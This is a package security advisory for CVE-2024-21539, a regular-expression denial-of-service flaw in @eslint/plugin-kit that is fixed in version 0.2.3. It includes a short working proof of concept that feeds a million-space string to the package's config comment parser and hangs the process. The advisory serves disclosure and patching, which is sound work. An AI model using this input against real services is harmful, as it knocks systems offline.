@eslint/plugin-kit
Affected
- introduced
0, fixed0.2.3(semver)
Fixed versions
0.2.3
Fix
- Fixed version
0.2.3npm install @eslint/[email protected]
Advisory
Also known as: CVE-2024-21539
Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit
Crafting a very large and well crafted string can increase the CPU usage and crash the program.
POC
const { ConfigCommentParser } = require("@eslint/plugin-kit");
var str = "";
for (var i = 0; i < 1000000; i++) {
str += " ";
}
str += "A";
console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseStringConfig(str, ""));
console.log("end")
// run `npm i @eslint/plugin-kit` and `node attack.js`
// then the program will stuck forever with high CPU usageLow Basis: The source's own band: LOW
0, fixed 0.2.3 (semver)0.2.3
0.2.3npm install @eslint/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0